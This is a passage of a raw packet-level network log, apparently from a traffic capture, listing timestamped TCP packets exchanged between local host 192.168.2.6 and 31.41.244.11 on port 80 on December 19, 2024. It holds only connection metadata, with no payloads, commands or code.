Dec 19, 2024 08:09:13.090768099 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.090799093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.091713905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.091775894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.091778994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.091833115 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.092808008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.092932940 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.092974901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.093004942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.093976974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.094050884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.094074011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.094103098 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.095215082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.095273018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.095379114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.095442057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.096337080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.096399069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.096482992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.096535921 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.097543955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.097651958 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.097692966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.097726107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.228384972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.228487015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.228554964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.228610992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.228949070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.229024887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.229093075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.229193926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.230139017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.230222940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.230249882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.230304956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.231399059 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.231479883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.231497049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.231559992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.232547045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.232635021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.232698917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.232799053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.233697891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.233755112 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.233820915 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.233886003 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.234946012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.235032082 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.235058069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.235121012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.236090899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.236176968 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.236249924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.236334085 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.237260103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.237356901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.237381935 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.237437963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.238457918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.238526106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.238567114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.238627911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.239659071 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.239712954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.239737988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.239770889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.240792990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.240906000 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.240962982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.241019011 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.242082119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.242135048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.242173910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.242206097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.243160963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.243227005 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.243374109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.243426085 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.244333029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.244409084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.244465113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.244522095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.245578051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.245637894 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.245650053 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.245703936 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.246797085 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.246870995 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.246871948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.246917009 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.247936010 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.247993946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.248032093 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.248104095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.249083996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.249141932 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.249207973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.249294996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.250284910 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.250354052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.250391960 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.250446081 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.251487970 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.251595974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.251777887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.251838923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.252773046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.252826929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.252928019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.253036976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.253837109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.253910065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.253968954 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.254091978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.255028963 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.255110025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.255177975 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.255238056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.256323099 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.256359100 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.256417036 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.256448984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.257426023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.257508993 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.257591009 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.257649899 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.258692026 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.258728027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.258774996 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.258804083 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.259763002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.259818077 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.259830952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.259949923 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.260981083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.261050940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.261157990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.261981010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.262157917 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.262217045 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.262253046 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.262301922 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.263292074 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.263401985 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.263437033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.263484955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.264503956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.264571905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.264600039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.264640093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.265651941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.265729904 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.265773058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.265844107 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.266891003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.266956091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.266971111 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.267023087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.268033028 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.268109083 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.268116951 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.268153906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.269237995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.269294977 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.269504070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.269572973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.270417929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.270503998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.270582914 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.270632982 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.271635056 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.271652937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.271687984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.271719933 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.272769928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.272829056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.272890091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.272967100 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.274030924 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.274075985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.274086952 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.274151087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.275223017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.275300980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.275342941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.275393963 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.276346922 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.276431084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.276421070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.276478052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.277551889 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.277611017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.277668953 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.277774096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.278750896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.278805017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.278927088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.278973103 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.279886007 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.279942989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.279980898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.280018091 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.281172991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.281213999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.281229973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.281260967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.282260895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.282327890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.282388926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.282434940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.283462048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.283534050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.283596992 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.283696890 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.284655094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.284722090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.284784079 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.284924984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.285927057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.285976887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.286010027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.286061049 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.287022114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.287080050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.287095070 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.287143946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.288242102 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.288300037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.288321972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.288492918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.289391041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.289474010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.289510012 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.289566040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.290595055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.290677071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.420510054 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.420522928 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.420579910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.421063900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.421075106 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.421107054 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.421123028 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.421941996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.421961069 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.422137976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.423134089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.423217058 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.423238039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.423254967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.424283981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.424355030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.424506903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.424551010 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.425601006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.425614119 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.425658941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.426721096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.426786900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.426850080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.426932096 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.427845001 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.427938938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.428072929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.428121090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.429040909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.429143906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.429143906 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.429188013 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.430249929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.430305958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.430424929 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.430497885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.430497885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.431449890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.431461096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.431524992 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.431555033 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.432676077 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.432732105 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.432754040 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.432806015 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.433779955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.433876038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.433948994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.434010983 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.435134888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.435184002 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.435209036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.435292959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.436393023 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.436408043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.436450958 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.436486006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.437346935 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.437475920 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.437496901 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.437545061 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.438644886 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.438720942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.438730955 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.438779116 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.439821959 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.439832926 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.439894915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.440910101 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.440963984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.440973043 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.441036940 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.442106962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.442150116 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.442166090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.442197084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.443326950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.443346024 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.443381071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.443408966 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.444463015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.444489956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.444510937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.444541931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.445725918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.445755005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.445802927 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.446841002 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.446856976 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.446909904 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.448055983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.448069096 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.448122025 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.448152065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.449260950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.449300051 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:13.449350119 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.449383974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:13.450478077 CET	80	49802	31.41.244.11	192.168.2.6
